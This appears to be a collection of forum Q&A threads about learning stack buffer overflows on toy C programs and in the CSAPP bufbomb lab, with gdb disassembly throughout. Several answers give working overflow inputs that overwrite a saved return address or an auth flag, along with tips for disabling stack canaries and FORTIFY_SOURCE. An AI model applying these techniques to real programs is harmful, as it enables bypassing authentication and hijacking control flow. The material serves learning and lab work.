Related
I'm learning about basic buffer overflows, and I have the following C code:
int your_fcn()
{
char buffer[4];
int *ret;
ret = buffer + 8;
(*ret) += 16;
return 1;
}
int main()
{
int mine = 0;
int yours = 0;
yours = your_fcn();
mine = yours + 1;
if(mine > yours)
printf("You lost!\n");
else
printf("You won!\n");
return EXIT_SUCCESS;
}
My goal is to bypass the line mine = yours + 1;, skip straight to the if statement comparison, so I can "win". main() cannot be touched, only your_fcn() can.
My approach is to override the return address with a buffer overflow. So in this case, I identified that the return address should be 8 bytes away from buffer, since buffer is 4 bytes and EBP is 4 bytes. I then used gdb to identify that the line I want to jump to is 16 bytes away from the function call. Here is the result from gdb:
(gdb) disassemble main
Dump of assembler code for function main:
0x0000054a <+0>: lea 0x4(%esp),%ecx
0x0000054e <+4>: and $0xfffffff0,%esp
0x00000551 <+7>: pushl -0x4(%ecx)
0x00000554 <+10>: push %ebp
0x00000555 <+11>: mov %esp,%ebp
0x00000557 <+13>: push %ebx
0x00000558 <+14>: push %ecx
0x00000559 <+15>: sub $0x10,%esp
0x0000055c <+18>: call 0x420 <__x86.get_pc_thunk.bx>
0x00000561 <+23>: add $0x1a77,%ebx
0x00000567 <+29>: movl $0x0,-0xc(%ebp)
0x0000056e <+36>: movl $0x0,-0x10(%ebp)
0x00000575 <+43>: call 0x51d <your_fcn>
0x0000057a <+48>: mov %eax,-0x10(%ebp)
0x0000057d <+51>: mov -0x10(%ebp),%eax
0x00000580 <+54>: add $0x1,%eax
0x00000583 <+57>: mov %eax,-0xc(%ebp)
0x00000586 <+60>: mov -0xc(%ebp),%eax
0x00000589 <+63>: cmp -0x10(%ebp),%eax
0x0000058c <+66>: jle 0x5a2 <main+88>
0x0000058e <+68>: sub $0xc,%esp
0x00000591 <+71>: lea -0x1988(%ebx),%eax
I see the line 0x00000575 <+43>: call 0x51d <your_fcn> and 0x00000583 <+57>: mov %eax,-0xc(%ebp) are four lines away from each other, which tells me I should offset ret by 16 bytes. But the address from gdb says something different. That is, the function call starts on 0x00000575 and the line I want to jump to is on 0x00000583, which means that they are 15 bytes away?
Either way, whether I use 16 bytes or 15 bytes, I get a segmentation fault error and I still "lose".
Question: What am I doing wrong? Why don't the address given in gdb go by 4 bytes at a time and what's actually going on here. How can I correctly jump to the line I want?
Clarification: This is being done on a x32 machine on a VM running linux Ubuntu. I'm compiling with the command gcc -fno-stack-protector -z execstack -m32 -g guesser.c -o guesser.o, which turns stack protector off and forces x32 compilation.
gdb of your_fcn() as requested:
(gdb) disassemble your_fcn
Dump of assembler code for function your_fcn:
0x0000051d <+0>: push %ebp
0x0000051e <+1>: mov %esp,%ebp
0x00000520 <+3>: sub $0x10,%esp
0x00000523 <+6>: call 0x5c3 <__x86.get_pc_thunk.ax>
0x00000528 <+11>: add $0x1ab0,%eax
0x0000052d <+16>: lea -0x8(%ebp),%eax
0x00000530 <+19>: add $0x8,%eax
0x00000533 <+22>: mov %eax,-0x4(%ebp)
0x00000536 <+25>: mov -0x4(%ebp),%eax
0x00000539 <+28>: mov (%eax),%eax
0x0000053b <+30>: lea 0xc(%eax),%edx
0x0000053e <+33>: mov -0x4(%ebp),%eax
0x00000541 <+36>: mov %edx,(%eax)
0x00000543 <+38>: mov $0x1,%eax
0x00000548 <+43>: leave
0x00000549 <+44>: ret
x86 has variable length instructions, so you cannot simply count instructions and multiply by 4. Since you have the output from gdb, trust it to determine the address of each instruction.
The return address from the function is the address after the call instruction. In the code shown, this would be main+48.
The if statement starts at main+60, not main+57. The instruction at main+57 stores yours+1 into mine. So to adjust the return address to return to the if statement, you should add 12 (that is, 60 - 48).
Doing that skips the assignments to both yours and mine. Since they are both initialized to 0, it will print "You won".
Okay, so in C code, I have it looping through the command line arguments and printing each one out. I compiled it and opened it in GDB to see what the main function looks like because I was attempting to do the same thing in assembly. I ended up figuring out what my problem was - that my print function was using the same registers as the main function was. I ended up just pushing each onto the stack before the function call and popping them back off after. Only thing I don't understand is why this code doesn't seem to do that and why it doesn't run into the same problem as I was.
0x000000000040052d <+0>: push %rbp
0x000000000040052e <+1>: mov %rsp,%rbp
0x0000000000400531 <+4>: sub $0x20,%rsp
0x0000000000400535 <+8>: mov %edi,-0x14(%rbp)
0x0000000000400538 <+11>: mov %rsi,-0x20(%rbp)
0x000000000040053c <+15>: jmp 0x400561 <main+52>
0x000000000040053e <+17>: mov -0x4(%rbp),%eax
0x0000000000400541 <+20>: cltq
0x0000000000400543 <+22>: lea 0x0(,%rax,8),%rdx
0x000000000040054b <+30>: mov -0x20(%rbp),%rax
0x000000000040054f <+34>: add %rdx,%rax
0x0000000000400552 <+37>: mov (%rax),%rax
0x0000000000400555 <+40>: mov %rax,%rdi
0x0000000000400558 <+43>: callq 0x400410 <puts#plt>
0x000000000040055d <+48>: addl $0x1,-0x4(%rbp)
0x0000000000400561 <+52>: mov -0x4(%rbp),%eax
0x0000000000400564 <+55>: cmp -0x14(%rbp),%eax
0x0000000000400567 <+58>: jl 0x40053e <main+17>
0x0000000000400569 <+60>: leaveq
0x000000000040056a <+61>: retq
Any input is appreciated, thanks.
(gdb) disass 0x400410
Dump of assembler code for function puts#plt:
0x0000000000400410 <+0>: jmpq *0x200c02(%rip) # 0x601018 <puts#got.plt>
0x0000000000400416 <+6>: pushq $0x0
0x000000000040041b <+11>: jmpq 0x400400
End of assembler dump.
(gdb) disass 0x601018
Dump of assembler code for function puts#got.plt:
0x0000000000601018 <+0>: (bad)
0x0000000000601019 <+1>: add $0x40,%al
0x000000000060101b <+3>: add %al,(%rax)
0x000000000060101d <+5>: add %al,(%rax)
0x000000000060101f <+7>: add %ah,(%rsi)
End of assembler dump.
In fact I can't even seem to find where it's printing out in puts. I must be missing something, just don't know what.
The disassembly you show for puts is not correct. Library symbols for dynamically loaded libraries are resolved, well, dynamically. The compiler generates a call to a stub (procedure linkage table or PLT), the loader resolves that at runtime, the second time you call that function the address has been resolved and it runs faster. Disassemble it on the 2nd iteration and you will see the actual puts code being run, and you will see the registers being pushed.
More info here.
This instruction:
jmpq *0x200c02(%rip) # 0x601018 <puts#got.plt>
reads the quadword (8 bytes) from the address given by the offset from the instruction pointer and jumps there. So to see where this is going, you don't want to use disas 0x601018, you want to use x /1xg 0x601018 to see what is in those bytes (read the pointer), and then call disas on that value to see the actual code for puts
This stuff is all dynamic linkage stuff that is set up to call functions in dynamic libraries. plt is an abbreviation for "program linkage table" and is a set of trampolines created by the linker whenever an object calls a function in some other dynamic library. got is an abbreviation for "global object table" and is a table of function pointers built by the linker and filled in by the dynamic linker when the program is loaded.
Hello i have such code
#include <stdio.h>
#define SECRET "1234567890AZXCVBNFRT"
int checksecret(){
char buf[32];
gets(buf);
if(strcmp(SECRET,buf)==0) return 1;
else return 0;
}
void outsecret(){
printf("%s\n",SECRET);
}
int main(int argc, char** argv){
if (checksecret()){
outsecret();
};
}
disass of outsecret
(gdb) disassemble outsecret
Dump of assembler code for function outsecret:
0x00000000004005f4 <+0>: push %rbp
0x00000000004005f5 <+1>: mov %rsp,%rbp
0x00000000004005f8 <+4>: mov $0x4006b4,%edi
0x00000000004005fd <+9>: callq 0x400480 <puts#plt>
0x0000000000400602 <+14>: pop %rbp
0x0000000000400603 <+15>: retq
I have an assumption that i don't know SECRET, so i try to run my program with such string python -c 'print "A" * 32 + "\x40\x05\xf4"[::-1]'. But it fails with segmentation fault. What i am doing wrong? Thank you for any help.
PS
I want to call function outsecret by overwriting return code in checksecret
You have to remember that all strings have an extra character that terminates the string, so if you input 32 characters then gets will write 33 characters to the buffer. Writing beyond the limits of an array leads to undefined behavior which often leads to crashes.
The gets function have no bounds-checking, and is very dangerous to use. It has been deprecated since long, and in the latest C11 standard it has even been removed.
$ python -c 'print "A" * 32 + "\x40\x05\xf4"[::1]'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#
$ perl -le 'print length("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA#")'
33
Your input string is too long for buffer size of 32 characters (extra one is needed for '\0' terminating null character). You are victim to buffer or array overflow (sometimes also called as array overrun).
Note that gets() is deprecated in C99 and eventually it has been dropped in C11 Standard for security reasons.
I want to call function outsecret by overwriting return code in
checksecret
Beware, you are about to leave relatively safe regions of C Standard. This means that behaviour is relative to compiler, compiler's versions, optimization settings, ABI and so on (maybe inclucing current phase of moon).
As of x86 calling conventions integer return value is stored directly in %eax register (that's assuming that you have x86 or x86-64 CPU). Stack-likely-located array buf is handled by %rbp offsets within current stack frame. Let's consult with gdb disassemble command:
$ gcc -O0 test.c
$ gdb -q a.out
(gdb) b checksecret
(gdb) r
Breakpoint 1, 0x0000000000400631 in checksecret ()
(gdb) disas
Dump of assembler code for function checksecret:
0x000000000040062d <+0>: push %rbp
0x000000000040062e <+1>: mov %rsp,%rbp
=> 0x0000000000400631 <+4>: sub $0x30,%rsp
0x0000000000400635 <+8>: mov %fs:0x28,%rax
0x000000000040063e <+17>: mov %rax,-0x8(%rbp)
0x0000000000400642 <+21>: xor %eax,%eax
0x0000000000400644 <+23>: lea -0x30(%rbp),%rax
0x0000000000400648 <+27>: mov %rax,%rdi
0x000000000040064b <+30>: callq 0x400530 <gets#plt>
0x0000000000400650 <+35>: lea -0x30(%rbp),%rax
0x0000000000400654 <+39>: mov %rax,%rsi
0x0000000000400657 <+42>: mov $0x400744,%edi
0x000000000040065c <+47>: callq 0x400510 <strcmp#plt>
0x0000000000400661 <+52>: test %eax,%eax
0x0000000000400663 <+54>: jne 0x40066c <checksecret+63>
0x0000000000400665 <+56>: mov $0x1,%eax
0x000000000040066a <+61>: jmp 0x400671 <checksecret+68>
0x000000000040066c <+63>: mov $0x0,%eax
0x0000000000400671 <+68>: mov -0x8(%rbp),%rdx
0x0000000000400675 <+72>: xor %fs:0x28,%rdx
0x000000000040067e <+81>: je 0x400685 <checksecret+88>
0x0000000000400680 <+83>: callq 0x4004f0 <__stack_chk_fail#plt>
0x0000000000400685 <+88>: leaveq
0x0000000000400686 <+89>: retq
There is no way overwrite %eax directly from C code, but what you could do is to overwrite selective fragment of code section. In your case what you want is to replace:
0x000000000040066c <+63>: mov $0x0,%eax
with
0x000000000040066c <+63>: mov $0x1,%eax
It's easy to accomplish by gdb itself:
(gdb) x/2bx 0x40066c
0x40066c <checksecret+63>: 0xb8 0x00
set {unsigned char}0x40066d = 1
Now let's confirm it:
(gdb) x/i 0x40066c
0x40066c <checksecret+63>: mov $0x1,%eax
From that point checksecret() is returning 1 even if SECRET does not match. However It wouldn't be so easy to do it by buf itself, as you need to know (guess somehow?) correct offset of particular code section instruction.
Above answers are pretty clear and corret way to exploit buffer overflow vulnerability. But there is a different way to do same thing without exploit vulnerability.
mince#rootlab tmp $ gcc test.c -o test
mince#rootlab tmp $ strings test
/lib64/ld-linux-x86-64.so.2
libc.so.6
gets
puts
__stack_chk_fail
strcmp
__libc_start_main
__gmon_start__
GLIBC_2.4
GLIBC_2.2.5
UH-X
UH-X
[]A\A]A^A_
1234567890AZXCVBNFRT
;*3$
Please look at last 2 row. You will see your secret key in there.
I am attempting to change the result of a function using a buffer overflow to change the results on the stack with the following code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int check_auth1(char *password)
{
char password_buffer[8];
int auth_flag = 0;
strcpy(password_buffer, password);
if (strcmp(password_buffer, "cup") == 0) {
auth_flag = 1;
}
return auth_flag;
}
int main(int argc, char **argv)
{
if (argc < 2) {
printf("Usage: %s <password>\n", argv[0]);
exit(0);
}
int authenticated = check_auth1(argv[1]);
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
return 0;
}
I'm using gdb to analyse the stack and this is what I have:
0xbffff6d0: 0xbffff8e4 0x0000002f 0xbffff72c 0xb7fd0ff4
0xbffff6e0: 0x08048540 0x08049ff4 0x00000002 0x0804833d
0xbffff6f0: 0x00000000 0x00000000 0xbffff728 0x0804850f
0xbffff700: 0xbffff901 0xb7e5e196 0xb7fd0ff4 0xb7e5e225
0xbffff710: 0xb7fed280 0x00000000 0x08048549 0xb7fd0ff4
0xbffff720: 0x08048540 0x00000000 0x00000000 0xb7e444d3
0xbffff730: 0x00000002 0xbffff7c4 0xbffff7d0 0xb7fdc858
0xbffff740: 0x00000000 0xbffff71c 0xbffff7d0 0x00000000
[1] $ebp 0xbffff6f8
[2] $esp 0xbffff6d0
[3] password 0xbffff700
[4] auth_flag 0xbffff6ec
[5] password_buffer 0xbffff6e4
0x080484ce <+0>: push %ebp
0x080484cf <+1>: mov %esp,%ebp
0x080484d1 <+3>: and $0xfffffff0,%esp
0x080484d4 <+6>: sub $0x20,%esp
0x080484d7 <+9>: cmpl $0x1,0x8(%ebp)
0x080484db <+13>: jg 0x80484ff <main+49>
0x080484dd <+15>: mov 0xc(%ebp),%eax
0x080484e0 <+18>: mov (%eax),%edx
0x080484e2 <+20>: mov $0x8048614,%eax
0x080484e7 <+25>: mov %edx,0x4(%esp)
0x080484eb <+29>: mov %eax,(%esp)
0x080484ee <+32>: call 0x8048360 <printf#plt>
0x080484f3 <+37>: movl $0x0,(%esp)
0x080484fa <+44>: call 0x80483a0 <exit#plt>
0x080484ff <+49>: mov 0xc(%ebp),%eax
0x08048502 <+52>: add $0x4,%eax
0x08048505 <+55>: mov (%eax),%eax
0x08048507 <+57>: mov %eax,(%esp)
----------
IMPORTANT STUFF STARTS NOW
0x0804850a <+60>: call 0x8048474 <check_auth1>
0x0804850f <+65>: mov %eax,0x1c(%esp)
0x08048513 <+69>: cmpl $0x1,0x1c(%esp)
0x08048518 <+74>: je 0x8048528 <main+90>
I determined how far apart $ebp is from &password_buffer: 0xbffff6f8 - 0xbffff6e4 = 14 bytes
So with 14 'A' input, i.e. ./stackoverflowtest $(perl -e 'print "A" x 14') it should take me to "Allowed".
Where am I going wrong? What is the needed input to cause a overflow?
ASLR and gcc canaries are turned off.
check_auth1 assembly dump:
Dump of assembler code for function check_auth1:
0x08048474 <+0>: push %ebp
0x08048475 <+1>: mov %esp,%ebp
0x08048477 <+3>: push %edi
0x08048478 <+4>: push %esi
0x08048479 <+5>: sub $0x20,%esp
=> 0x0804847c <+8>: movl $0x0,-0xc(%ebp)
0x08048483 <+15>: mov 0x8(%ebp),%eax
0x08048486 <+18>: mov %eax,0x4(%esp)
0x0804848a <+22>: lea -0x14(%ebp),%eax
0x0804848d <+25>: mov %eax,(%esp)
0x08048490 <+28>: call 0x8048370 <strcpy#plt>
0x08048495 <+33>: lea -0x14(%ebp),%eax
0x08048498 <+36>: mov %eax,%edx
0x0804849a <+38>: mov $0x8048610,%eax
0x0804849f <+43>: mov $0x4,%ecx
0x080484a4 <+48>: mov %edx,%esi
0x080484a6 <+50>: mov %eax,%edi
0x080484a8 <+52>: repz cmpsb %es:(%edi),%ds:(%esi)
0x080484aa <+54>: seta %dl
0x080484ad <+57>: setb %al
0x080484b0 <+60>: mov %edx,%ecx
0x080484b2 <+62>: sub %al,%cl
0x080484b4 <+64>: mov %ecx,%eax
0x080484b6 <+66>: movsbl %al,%eax
0x080484b9 <+69>: test %eax,%eax
0x080484bb <+71>: jne 0x80484c4 <check_auth1+80>
0x080484bd <+73>: movl $0x1,-0xc(%ebp)
0x080484c4 <+80>: mov -0xc(%ebp),%eax
0x080484c7 <+83>: add $0x20,%esp
0x080484ca <+86>: pop %esi
0x080484cb <+87>: pop %edi
0x080484cc <+88>: pop %ebp
0x080484cd <+89>: ret
This is quite easy to exploit, here is the way to walk through.
First compile it with -g, it makes it easier to understand what you are doing. Then, our goal will be to rewrite the saved eip of check_auth1() and move it to the else-part of the test in the main() function.
$> gcc -m32 -g -o vuln vuln.c
$> gdb ./vuln
...
(gdb) break check_auth1
Breakpoint 1 at 0x80484c3: file vulne.c, line 9.
(gdb) run `python -c 'print("A"*28)'`
Starting program: ./vulne `python -c 'print("A"*28)'`
Breakpoint 1,check_auth1 (password=0xffffd55d 'A' <repeats 28 times>) at vuln.c:9
9 int auth_flag = 0;
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484c3 in check_auth1 (vuln.c:9); saved eip 0x804853f
called by frame at 0xffffd320
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
We stopped at check_auth1() and displayed the stack frame. We saw that the saved eip is stored in the stack at 0xffffd2ec and contains 0x804853f.
Let see to what it does lead:
(gdb) disassemble main
Dump of assembler code for function main:
0x080484ff <+0>: push %ebp
0x08048500 <+1>: mov %esp,%ebp
0x08048502 <+3>: and $0xfffffff0,%esp
0x08048505 <+6>: sub $0x20,%esp
0x08048508 <+9>: cmpl $0x1,0x8(%ebp)
0x0804850c <+13>: jg 0x804852f <main+48>
0x0804850e <+15>: mov 0xc(%ebp),%eax
0x08048511 <+18>: mov (%eax),%eax
0x08048513 <+20>: mov %eax,0x4(%esp)
0x08048517 <+24>: movl $0x8048604,(%esp)
0x0804851e <+31>: call 0x8048360 <printf#plt>
0x08048523 <+36>: movl $0x0,(%esp)
0x0804852a <+43>: call 0x80483a0 <exit#plt>
0x0804852f <+48>: mov 0xc(%ebp),%eax
0x08048532 <+51>: add $0x4,%eax
0x08048535 <+54>: mov (%eax),%eax
0x08048537 <+56>: mov %eax,(%esp)
0x0804853a <+59>: call 0x80484bd <check_auth1>
0x0804853f <+64>: mov %eax,0x1c(%esp) <-- We jump here when returning
0x08048543 <+68>: cmpl $0x1,0x1c(%esp)
0x08048548 <+73>: je 0x8048558 <main+89>
0x0804854a <+75>: movl $0x804861a,(%esp)
0x08048551 <+82>: call 0x8048380 <puts#plt>
0x08048556 <+87>: jmp 0x8048564 <main+101>
0x08048558 <+89>: movl $0x8048627,(%esp) <-- We want to jump here
0x0804855f <+96>: call 0x8048380 <puts#plt>
0x08048564 <+101>: mov $0x0,%eax
0x08048569 <+106>: leave
0x0804856a <+107>: ret
End of assembler dump.
But the truth is that we want to avoid to go through the cmpl $0x1,0x1c(%esp) and go directly to the else-part of the test. Meaning that we want to jump to 0x08048558.
Anyway, lets first try to see if our 28 'A' are enough to rewrite the saved eip.
(gdb) next
10 strcpy(password_buffer, password);
(gdb) next
11 if (strcmp(password_buffer, "cup") == 0) {
Here, the strcpy did the overflow, so lets look at the stack-frame:
(gdb) info frame
Stack level 0, frame at 0xffffd2f0:
eip = 0x80484dc in check_auth1 (vulnerable.c:11); saved eip 0x41414141
called by frame at 0xffffd2f4
source language c.
Arglist at 0xffffd2e8, args: password=0xffffd55d 'A' <repeats 28 times>
Locals at 0xffffd2e8, Previous frame's sp is 0xffffd2f0
Saved registers:
ebp at 0xffffd2e8, eip at 0xffffd2ec
Indeed, we rewrote the saved eip with 'A' (0x41 is the hexadecimal code for A). And, in fact, 28 is exactly what we need, not more. If we replace the four last bytes by the target address it will be okay.
One thing is that you need to reorder the bytes to take the little-endianess into account. So, 0x08048558 will become \x58\x85\x04\x08.
Finally, you will also need to write some meaningful address for the saved ebp value (not AAAA), so my trick is just to double the last address like this:
$> ./vuln `python -c 'print("A"*20 + "\x58\x85\x04\x08\x58\x85\x04\x08")'`
Note that there is no need to disable the ASLR, because you are jumping in the .text section (and this section do no move under the ASLR). But, you definitely need to disable canaries.
EDIT: I was wrong about replacing the saved ebp by our saved eip. In fact, if you do not give the right ebp you will hit a segfault when attempting to exit from main. This is because, we did set the saved ebp to somewhere in the .text section and, even if there is no problem when returning from check_auth1, the stack frame will be restored improperly when returning in the main function (the system will believe that the stack is located in the code). The result will be that the 4 bytes above the address pointed by the saved ebp we wrote (and pointing to the instructions) will be mistaken with the saved eip of main. So, either you disable the ASLR and write the correct address of the saved ebp (0xffffd330) which will lead to
$> ./vuln `python -c 'print("A"*20 + "\xff\xff\xd3\x30\x58\x85\x04\x08")'`
Or, you need to perform a ROP that will perform a clean exit(0) (which is usually quite easy to achieve).
you're checking against 1 exactly; change it to (the much more normal style for c programming)
if (! authenticated) {
and you'll see that it is working (or run it in gdb, or print out the flag value, and you'll see that the flag is being overwritten nicely, it's just not 1).
remember that an int is made of multiple chars. so setting a value of exactly 1 is hard, because many of those chars need to be zero (which is the string terminator). instead you are getting a value like 13363 (for the password 12345678901234).
[huh; valgrind doesn't complain even with the overflow.]
UPDATE
ok, here's how to do it with the code you have. we need a string with 13 characters, where the final character is ASCII 1. in bash:
> echo -n "123456789012" > foo
> echo $'\001' >> foo
> ./a.out `cat foo`
Allowed.
where i am using
if (authenticated != 1) {
printf("NOT Allowed.\n");
} else {
printf("Allowed.\n");
}
also, i am relying on the compiler setting some unused bytes to zero (little endian; 13th byte is 1 14-16th are 0). it works with gcc bo.c but not with gcc -O3 bo.c.
the other answer here gets around this by walking on to the next place that can be overwritten usefully (i assumed you were targeting the auth_flag variable since you placed it directly after the password).
strcpy(password_buffer, password);
One of the things you will need to address during testing is this function call. If the program seg faults, then it could be because of FORTIFY_SOURCE. I'd like to say "crashes unexpectedly", but I don't think that applies here ;)
FORTIFY_SOURCE uses "safer" variants of high risk functions like memcpy and strcpy. The compiler uses the safer variants when it can deduce the destination buffer size. If the copy would exceed the destination buffer size, then the program calls abort().
To disable FORTIFY_SOURCE for your testing, you should compile the program with -U_FORTIFY_SOURCE or -D_FORTIFY_SOURCE=0.
I've been working on the bufbomb lab from CSAPPS and I've gotten stuck on one of the phases.
I won't get into the gore-y details of the project since I just need a nudge in the right direction. I'm having a hard time finding the starting address of the array called "buf" in the given assembly.
We're given a function called getbuf:
#define NORMAL_BUFFER_SIZE 32
int getbuf()
{
char buf[NORMAL_BUFFER_SIZE];
Gets(buf);
return 1;
}
And the assembly dumps:
Dump of assembler code for function getbuf:
0x08048d92 <+0>: sub $0x3c,%esp
0x08048d95 <+3>: lea 0x10(%esp),%eax
0x08048d99 <+7>: mov %eax,(%esp)
0x08048d9c <+10>: call 0x8048c66 <Gets>
0x08048da1 <+15>: mov $0x1,%eax
0x08048da6 <+20>: add $0x3c,%esp
0x08048da9 <+23>: ret
End of assembler dump.
Dump of assembler code for function Gets:
0x08048c66 <+0>: push %ebp
0x08048c67 <+1>: push %edi
0x08048c68 <+2>: push %esi
0x08048c69 <+3>: push %ebx
0x08048c6a <+4>: sub $0x1c,%esp
0x08048c6d <+7>: mov 0x30(%esp),%esi
0x08048c71 <+11>: movl $0x0,0x804e100
0x08048c7b <+21>: mov %esi,%ebx
0x08048c7d <+23>: jmp 0x8048ccf <Gets+105>
0x08048c7f <+25>: mov %eax,%ebp
0x08048c81 <+27>: mov %al,(%ebx)
0x08048c83 <+29>: add $0x1,%ebx
0x08048c86 <+32>: mov 0x804e100,%eax
0x08048c8b <+37>: cmp $0x3ff,%eax
0x08048c90 <+42>: jg 0x8048ccf <Gets+105>
0x08048c92 <+44>: lea (%eax,%eax,2),%edx
0x08048c95 <+47>: mov %ebp,%ecx
0x08048c97 <+49>: sar $0x4,%cl
0x08048c9a <+52>: mov %ecx,%edi
0x08048c9c <+54>: and $0xf,%edi
0x08048c9f <+57>: movzbl 0x804a478(%edi),%edi
0x08048ca6 <+64>: mov %edi,%ecx
---Type <return> to continue, or q <return> to quit---
0x08048ca8 <+66>: mov %cl,0x804e140(%edx)
0x08048cae <+72>: mov %ebp,%ecx
0x08048cb0 <+74>: and $0xf,%ecx
0x08048cb3 <+77>: movzbl 0x804a478(%ecx),%ecx
0x08048cba <+84>: mov %cl,0x804e141(%edx)
0x08048cc0 <+90>: movb $0x20,0x804e142(%edx)
0x08048cc7 <+97>: add $0x1,%eax
0x08048cca <+100>: mov %eax,0x804e100
0x08048ccf <+105>: mov 0x804e110,%eax
0x08048cd4 <+110>: mov %eax,(%esp)
0x08048cd7 <+113>: call 0x8048820 <_IO_getc#plt>
0x08048cdc <+118>: cmp $0xffffffff,%eax
0x08048cdf <+121>: je 0x8048ce6 <Gets+128>
0x08048ce1 <+123>: cmp $0xa,%eax
0x08048ce4 <+126>: jne 0x8048c7f <Gets+25>
0x08048ce6 <+128>: movb $0x0,(%ebx)
0x08048ce9 <+131>: mov 0x804e100,%eax
0x08048cee <+136>: movb $0x0,0x804e140(%eax,%eax,2)
0x08048cf6 <+144>: mov %esi,%eax
0x08048cf8 <+146>: add $0x1c,%esp
0x08048cfb <+149>: pop %ebx
0x08048cfc <+150>: pop %esi
0x08048cfd <+151>: pop %edi
---Type <return> to continue, or q <return> to quit---
0x08048cfe <+152>: pop %ebp
0x08048cff <+153>: ret
End of assembler dump.
I'm having a difficult time locating where the starting address of buf is (or where buf is at all in this mess!). If someone could point that out to me, I'd greatly appreciate it.
Attempt at a solution
Reading symbols from /home/user/CS247/buflab/buflab-handout/bufbomb...(no debugging symbols found)...done.
(gdb) break getbuf
Breakpoint 1 at 0x8048d92
(gdb) run -u user < firecracker-exploit.bin
Starting program: /home/user/CS247/buflab/buflab-handout/bufbomb -u user < firecracker-exploit.bin
Userid: ...
Cookie: ...
Breakpoint 1, 0x08048d92 in getbuf ()
(gdb) print buf
No symbol table is loaded. Use the "file" command.
(gdb)
As has been pointed out by some other people, buf is allocated on the stack at run time. See these lines in the getbuf() function:
0x08048d92 <+0>: sub $0x3c,%esp
0x08048d95 <+3>: lea 0x10(%esp),%eax
0x08048d99 <+7>: mov %eax,(%esp)
The first line subtracts 0x3c (60) bytes from the stack pointer, effectively allocating that much space. The extra bytes beyond 32 are probably for parameters for Gets (Its hard to tell what the calling convention is for Gets is precisely, so its hard to say) The second line gets the address of the 16 bytes up. This leaves 44 bytes above it that are unallocated. The third line puts that address onto the stack for probably for the gets function call. (remember the stack grows down, so the stack pointer will be pointing at the last item on the stack). I am not sure why the compiler generated such strange offsets (60 bytes and then 44) but there is probably a good reason. If I figure it out I will update here.
Inside the gets function we have the following lines:
0x08048c66 <+0>: push %ebp
0x08048c67 <+1>: push %edi
0x08048c68 <+2>: push %esi
0x08048c69 <+3>: push %ebx
0x08048c6a <+4>: sub $0x1c,%esp
0x08048c6d <+7>: mov 0x30(%esp),%esi
Here we see that we save the state of some of the registers, which add up to 16-bytes, and then Gets reserves 28 (0x1c) bytes on the stack. The last line is key: It grabs the value at 0x30 bytes up the stack and loads it into %esi. This value is the address of buf put on the stack by getbuf. Why? 4 for the return addres plus 16 for the registers+28 reserved = 48. 0x30 = 48, so it is grabbing the last item placed on the stack by getbuf() before calling gets.
To get the address of buf you have to actually run the program in the debugger because the address will probably be different everytime you run the program, or even call the function for that matter. You can set a break point at any of these lines above and either dump the %eax register when the it contains the address to be placed on the stack on the second line of getbuf, or dump the %esi register when it is pulled off of the stack. This will be the pointer to your buffer.
to be able to see debugging info while using gdb,you must use the -g3 switch with gcc when you compile.see man gcc for more details on the -g switch.
Only then, gcc will add debugging info (symbol table) into the executable.
0x08048cd4 <+110>: mov %eax,(%esp)
0x08048cd7 <+113>: **call 0x8048820 <_IO_getc#plt>**
0x08048cdc <+118>: cmp $0xffffffff,%eax
0x0848cdf <+121>: je 0x8048ce6 <Gets+128>
0x08048ce1 <+123>: cmp $0xa,%eax
0x08048ce4 <+126>: jne 0x8048c7f <Gets+25>
0x08048ce6 <+128>: movb $0x0,(%ebx)
0x08048ce9 <+131>: mov 0x804e100,%eax
0x08048cee <+136>: movb $0x0,0x804e140(%eax,%eax,2)
0x08048cf6 <+144>: mov %esi,%eax
0x08048cf8 <+146>: add $0x1c,%esp
0x08048cfb <+149>: **pop %ebx**
0x08048cfc <+150>: **pop %esi**
0x08048cfd <+151>: **pop %edi**
---Type <return> to continue, or q <return> to quit---
0x08048cfe <+152>: **pop %ebp**
0x08048cff <+153>: ret
End of assembler dump.
I Don't know your flavour of asm but there's a call in there which may use the start address
The end of the program pops various pointers
That's where I'd start looking
If you can tweak the asm for these functions you can input your own routines to dump data as the function runs and before those pointers get popped
buf is allocated on the stack. Therefore, you will not be able to spot its address from an assembly listing. In other words, buf is allocated (and its address therefore known) only when you enter the function getbuf() at runtime.
If you must know the address, one option would be to use gbd (but make sure you compile with the -g flag to enable debugging support) and then:
gdb a.out # I'm assuming your binary is a.out
break getbuf # Set a breakpoint where you want gdb to stop
run # Run the program. Supply args if you need to
# WAIT FOR your program to reach getbuf and stop
print buf
If you want to go this route, a good gdb tutorial (example) is essential.
You could also place a printf inside getbuf and debug that way - it depends on what you are trying to do.
One other point leaps out from your code. Upon return from getbuf, the result of Gets will be trashed. This is because Gets is presumably writing its results into the stack-allocated buf. When you return from getbuf, your stack is blown and you cannot reliably access buf.